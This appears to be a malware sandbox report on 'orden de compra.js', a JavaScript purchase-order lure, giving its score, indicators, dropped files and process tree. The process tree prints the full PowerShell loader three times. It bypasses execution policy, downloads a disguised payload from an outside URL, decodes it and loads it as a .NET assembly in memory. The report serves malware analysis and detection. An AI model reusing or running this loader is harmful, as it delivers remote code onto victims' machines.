Analysis

  • max time kernel
    149s
  • max time network
    132s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    04/09/2026, 12:30

General

  • Target
    orden de compra.js
  • Size 285KB
  • Sample260904-ppqcdafe46
  • SHA256 0b86cafcf0e1c94ac2f7b9049598f36299db7a1f3f02829b2e4527bd7b47eb4c
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    https://seasquadshipping.com/sksmin/newMSI_PRO.png

  • exe.dropper

    https://seasquadshipping.com/sksmin/newMSI_PRO.png

Signatures

  • Process spawned unexpected child process 3 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 6 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe "C:\Users\Admin\AppData\Local\Temp\orden de compra.js"
    1⤵
      PID:848
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $hyposyllogistic = ''https://seasquadshipping.com/sksmin/newMSI_PRO.png''; Add-Type -AssemblyName System.Net.Http; $garret = New-Object System.Net.CookieContainer; $centenarians = New-Object System.Net.Http.HttpClientHandler; $centenarians.AllowAutoRedirect = $true; $centenarians.CookieContainer = $garret; $centroblasts = New-Object System.Net.Http.HttpClient($centenarians); $centroblasts.DefaultRequestHeaders.Add(''User-Agent'', ''Mozilla/5.0 (Windows NT 10.0; Win64; x64)''); try { $antinematodal = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Head, $hyposyllogistic); $corsement = $centroblasts.SendAsync($antinematodal).GetAwaiter().GetResult(); $epinephrine = $corsement.Content.Headers.ContentLength; if ($null -eq $epinephrine) { $epinephrine = 5000000; } $rhizospheres = [Math]::Min($epinephrine, 3000000); $pilferage = [Math]::Max(0, $epinephrine - $rhizospheres); $crofter = $epinephrine - 1; $spacewalking = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Get, $hyposyllogistic); $spacewalking.Headers.Range = New-Object System.Net.Http.Headers.RangeHeaderValue($pilferage, $crofter); $sticktion = $centroblasts.SendAsync($spacewalking).GetAwaiter().GetResult(); [byte[]]$cervicitis = $sticktion.Content.ReadAsByteArrayAsync().GetAwaiter().GetResult(); $formed = [System.Text.Encoding]::ASCII.GetString($cervicitis); } catch { $posited = (New-Object System.Net.WebClient).DownloadString($hyposyllogistic); $formed = $posited; } $Symons=''IN-''; $levomethadone=''-in1''; $aclythrophytum = [string]::IndexOf($formed, $Symons); $sprent = $formed.LastIndexOf($levomethadone); if($aclythrophytum -eq -1 -or $sprent -eq -1){return}; $epixylous = $aclythrophytum + $Symons.Length; $ostinato = $formed.Substring($formed.IndexOf($Symons) + $Symons.Length, $sprent - ($formed.IndexOf($Symons) + $Symons.Length)); $antilynching = $ostinato.Replace(''*'',''A'').ToCharArray(); $autoreact = -join $antilynching[($antilynching.Length - 1)..0]; $burqas = [Type]::GetType((''System''+''.''+''Convert'') -join ''''); [byte[]]$prora = $burqas.GetMethod((''From''+''Base64''+''String'') -join '''').Invoke($null, (,$autoreact)); $latinizer = [AppDomain]::(''CurrentDomain''); $acheenese = $latinizer.GetType().GetMethod(''Load'', [byte[]]); $mercies = $acheenese.Invoke($latinizer, (,$prora)); $hospitableness = (''OqQ8JoGkkI8utjzYzFNRghp4GGhEw4WP1mMCctNAeG0cz9awR7MU1DKJAYw/8xNZWfi4p2pe/dXsS/HE+XSYJkwnMgNuwFgaALagO64nRzI='','''',''QBlDUn3fidBQJi74pRtpKP3I69iF+xFKg2ALY7biE7eJIRGBCWYUIuw+YHGDzJWX'',''NwvLRTueUQMZpSTqhI778xZwl7wZ9bI9xYNPawsAKks='',''fD+6luMJpwY6/yyO7wnjvW23fNc9TG++LSyVP3suqIA='','''',''wE0bvasG0tkM0AKEWqEyiL/xtvzJt/c8/cDIy+BkOXA='','''',''IM24liXc97qngNdrdCfGI5zVbVymhi5L0qoL2TS9VsA='',''tRJ5GlRnc9ei0MjoLg8qZb0Z4SxyKUXnKKTDL4j+jks5VY0TTj6MvflC0qCAYlXK'',''BRPE0W1stMtxoGjPtYTIbTjigSjaurilv9jkL4vwyvw='',''yktn+QqccA+6uXMoY/14ZaatgQTCYbv+ZjhHuzX/ivc='',''FEjQku+9BNjchuWeV6EVAvEKO+bcD1b5oh1a9HzFkzI='','''',''iHmOLBsXjSrcKqo53a1sZV01lkhJQTlUgAo4OSP5mPQ='',''JTe/su578sWYGri0b7cIYBHlCTdoTW5IX9aIvSGls1Y='','''','''',''''); try { $ordinances = ($mercies.GetTypes() | Where-Object Name -eq ''mpxnddVn'' | Select-Object -First 1); $proboscidal = ($ordinances.GetMethods() | Where-Object Name -eq ''Otnmpxn'' | Select-Object -First 1); $proboscidal.Invoke($null, [object[]]$hospitableness); } catch {} finally { if ($null -ne $centroblasts) { $centroblasts.Dispose() } }'))"
      1⤵
      • Process spawned unexpected child process
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4936
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $hyposyllogistic = ''https://seasquadshipping.com/sksmin/newMSI_PRO.png''; Add-Type -AssemblyName System.Net.Http; $garret = New-Object System.Net.CookieContainer; $centenarians = New-Object System.Net.Http.HttpClientHandler; $centenarians.AllowAutoRedirect = $true; $centenarians.CookieContainer = $garret; $centroblasts = New-Object System.Net.Http.HttpClient($centenarians); $centroblasts.DefaultRequestHeaders.Add(''User-Agent'', ''Mozilla/5.0 (Windows NT 10.0; Win64; x64)''); try { $antinematodal = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Head, $hyposyllogistic); $corsement = $centroblasts.SendAsync($antinematodal).GetAwaiter().GetResult(); $epinephrine = $corsement.Content.Headers.ContentLength; if ($null -eq $epinephrine) { $epinephrine = 5000000; } $rhizospheres = [Math]::Min($epinephrine, 3000000); $pilferage = [Math]::Max(0, $epinephrine - $rhizospheres); $crofter = $epinephrine - 1; $spacewalking = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Get, $hyposyllogistic); $spacewalking.Headers.Range = New-Object System.Net.Http.Headers.RangeHeaderValue($pilferage, $crofter); $sticktion = $centroblasts.SendAsync($spacewalking).GetAwaiter().GetResult(); [byte[]]$cervicitis = $sticktion.Content.ReadAsByteArrayAsync().GetAwaiter().GetResult(); $formed = [System.Text.Encoding]::ASCII.GetString($cervicitis); } catch { $posited = (New-Object System.Net.WebClient).DownloadString($hyposyllogistic); $formed = $posited; } $Symons=''IN-''; $levomethadone=''-in1''; $aclythrophytum = [string]::IndexOf($formed, $Symons); $sprent = $formed.LastIndexOf($levomethadone); if($aclythrophytum -eq -1 -or $sprent -eq -1){return}; $epixylous = $aclythrophytum + $Symons.Length; $ostinato = $formed.Substring($formed.IndexOf($Symons) + $Symons.Length, $sprent - ($formed.IndexOf($Symons) + $Symons.Length)); $antilynching = $ostinato.Replace(''*'',''A'').ToCharArray(); $autoreact = -join $antilynching[($antilynching.Length - 1)..0]; $burqas = [Type]::GetType((''System''+''.''+''Convert'') -join ''''); [byte[]]$prora = $burqas.GetMethod((''From''+''Base64''+''String'') -join '''').Invoke($null, (,$autoreact)); $latinizer = [AppDomain]::(''CurrentDomain''); $acheenese = $latinizer.GetType().GetMethod(''Load'', [byte[]]); $mercies = $acheenese.Invoke($latinizer, (,$prora)); $hospitableness = (''OqQ8JoGkkI8utjzYzFNRghp4GGhEw4WP1mMCctNAeG0cz9awR7MU1DKJAYw/8xNZWfi4p2pe/dXsS/HE+XSYJkwnMgNuwFgaALagO64nRzI='','''',''QBlDUn3fidBQJi74pRtpKP3I69iF+xFKg2ALY7biE7eJIRGBCWYUIuw+YHGDzJWX'',''NwvLRTueUQMZpSTqhI778xZwl7wZ9bI9xYNPawsAKks='',''fD+6luMJpwY6/yyO7wnjvW23fNc9TG++LSyVP3suqIA='','''',''wE0bvasG0tkM0AKEWqEyiL/xtvzJt/c8/cDIy+BkOXA='','''',''IM24liXc97qngNdrdCfGI5zVbVymhi5L0qoL2TS9VsA='',''tRJ5GlRnc9ei0MjoLg8qZb0Z4SxyKUXnKKTDL4j+jks5VY0TTj6MvflC0qCAYlXK'',''BRPE0W1stMtxoGjPtYTIbTjigSjaurilv9jkL4vwyvw='',''yktn+QqccA+6uXMoY/14ZaatgQTCYbv+ZjhHuzX/ivc='',''FEjQku+9BNjchuWeV6EVAvEKO+bcD1b5oh1a9HzFkzI='','''',''iHmOLBsXjSrcKqo53a1sZV01lkhJQTlUgAo4OSP5mPQ='',''JTe/su578sWYGri0b7cIYBHlCTdoTW5IX9aIvSGls1Y='','''','''',''''); try { $ordinances = ($mercies.GetTypes() | Where-Object Name -eq ''mpxnddVn'' | Select-Object -First 1); $proboscidal = ($ordinances.GetMethods() | Where-Object Name -eq ''Otnmpxn'' | Select-Object -First 1); $proboscidal.Invoke($null, [object[]]$hospitableness); } catch {} finally { if ($null -ne $centroblasts) { $centroblasts.Dispose() } }'))"
      1⤵
      • Process spawned unexpected child process
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2880
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $hyposyllogistic = ''https://seasquadshipping.com/sksmin/newMSI_PRO.png''; Add-Type -AssemblyName System.Net.Http; $garret = New-Object System.Net.CookieContainer; $centenarians = New-Object System.Net.Http.HttpClientHandler; $centenarians.AllowAutoRedirect = $true; $centenarians.CookieContainer = $garret; $centroblasts = New-Object System.Net.Http.HttpClient($centenarians); $centroblasts.DefaultRequestHeaders.Add(''User-Agent'', ''Mozilla/5.0 (Windows NT 10.0; Win64; x64)''); try { $antinematodal = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Head, $hyposyllogistic); $corsement = $centroblasts.SendAsync($antinematodal).GetAwaiter().GetResult(); $epinephrine = $corsement.Content.Headers.ContentLength; if ($null -eq $epinephrine) { $epinephrine = 5000000; } $rhizospheres = [Math]::Min($epinephrine, 3000000); $pilferage = [Math]::Max(0, $epinephrine - $rhizospheres); $crofter = $epinephrine - 1; $spacewalking = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Get, $hyposyllogistic); $spacewalking.Headers.Range = New-Object System.Net.Http.Headers.RangeHeaderValue($pilferage, $crofter); $sticktion = $centroblasts.SendAsync($spacewalking).GetAwaiter().GetResult(); [byte[]]$cervicitis = $sticktion.Content.ReadAsByteArrayAsync().GetAwaiter().GetResult(); $formed = [System.Text.Encoding]::ASCII.GetString($cervicitis); } catch { $posited = (New-Object System.Net.WebClient).DownloadString($hyposyllogistic); $formed = $posited; } $Symons=''IN-''; $levomethadone=''-in1''; $aclythrophytum = [string]::IndexOf($formed, $Symons); $sprent = $formed.LastIndexOf($levomethadone); if($aclythrophytum -eq -1 -or $sprent -eq -1){return}; $epixylous = $aclythrophytum + $Symons.Length; $ostinato = $formed.Substring($formed.IndexOf($Symons) + $Symons.Length, $sprent - ($formed.IndexOf($Symons) + $Symons.Length)); $antilynching = $ostinato.Replace(''*'',''A'').ToCharArray(); $autoreact = -join $antilynching[($antilynching.Length - 1)..0]; $burqas = [Type]::GetType((''System''+''.''+''Convert'') -join ''''); [byte[]]$prora = $burqas.GetMethod((''From''+''Base64''+''String'') -join '''').Invoke($null, (,$autoreact)); $latinizer = [AppDomain]::(''CurrentDomain''); $acheenese = $latinizer.GetType().GetMethod(''Load'', [byte[]]); $mercies = $acheenese.Invoke($latinizer, (,$prora)); $hospitableness = (''OqQ8JoGkkI8utjzYzFNRghp4GGhEw4WP1mMCctNAeG0cz9awR7MU1DKJAYw/8xNZWfi4p2pe/dXsS/HE+XSYJkwnMgNuwFgaALagO64nRzI='','''',''QBlDUn3fidBQJi74pRtpKP3I69iF+xFKg2ALY7biE7eJIRGBCWYUIuw+YHGDzJWX'',''NwvLRTueUQMZpSTqhI778xZwl7wZ9bI9xYNPawsAKks='',''fD+6luMJpwY6/yyO7wnjvW23fNc9TG++LSyVP3suqIA='','''',''wE0bvasG0tkM0AKEWqEyiL/xtvzJt/c8/cDIy+BkOXA='','''',''IM24liXc97qngNdrdCfGI5zVbVymhi5L0qoL2TS9VsA='',''tRJ5GlRnc9ei0MjoLg8qZb0Z4SxyKUXnKKTDL4j+jks5VY0TTj6MvflC0qCAYlXK'',''BRPE0W1stMtxoGjPtYTIbTjigSjaurilv9jkL4vwyvw='',''yktn+QqccA+6uXMoY/14ZaatgQTCYbv+ZjhHuzX/ivc='',''FEjQku+9BNjchuWeV6EVAvEKO+bcD1b5oh1a9HzFkzI='','''',''iHmOLBsXjSrcKqo53a1sZV01lkhJQTlUgAo4OSP5mPQ='',''JTe/su578sWYGri0b7cIYBHlCTdoTW5IX9aIvSGls1Y='','''','''',''''); try { $ordinances = ($mercies.GetTypes() | Where-Object Name -eq ''mpxnddVn'' | Select-Object -First 1); $proboscidal = ($ordinances.GetMethods() | Where-Object Name -eq ''Otnmpxn'' | Select-Object -First 1); $proboscidal.Invoke($null, [object[]]$hospitableness); } catch {} finally { if ($null -ne $centroblasts) { $centroblasts.Dispose() } }'))"
      1⤵
      • Process spawned unexpected child process
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3896

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          powershell.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          • Size 3KB
          • SHA256 3fddbfc52e722de414b5fc5d75514ff7d57576f91f5eadffc1a093a19e08b352
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 99c129fd2c42eea3a40bf831526336ff672014d68679f25c57dd9bda0553ba7f
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 ea5e7a9f9216c94533a8d71759534668fe4925f733762454f644f01ab2c82aa1
          • MD5 SHA1 SHA512 TLSH

          __PSScriptPolicyTest_tkql1orj.awb.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tkql1orj.awb.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          memory/2880-0-0x00000247BBEA0000-0x00000247BBEB0000-memory.dmp

          memory/2880-1-0x00000247BBEA0000-0x00000247BBEB0000-memory.dmp

          memory/2880-9-0x00000247BBFF0000-0x00000247BC012000-memory.dmp

          memory/3896-3-0x000002043E890000-0x000002043E8A0000-memory.dmp

          memory/3896-29-0x000002043E890000-0x000002043E8A0000-memory.dmp

          memory/3896-30-0x000002043E890000-0x000002043E8A0000-memory.dmp

          memory/4936-2-0x00000257D5630000-0x00000257D5640000-memory.dmp

          memory/4936-28-0x00000257D5630000-0x00000257D5640000-memory.dmp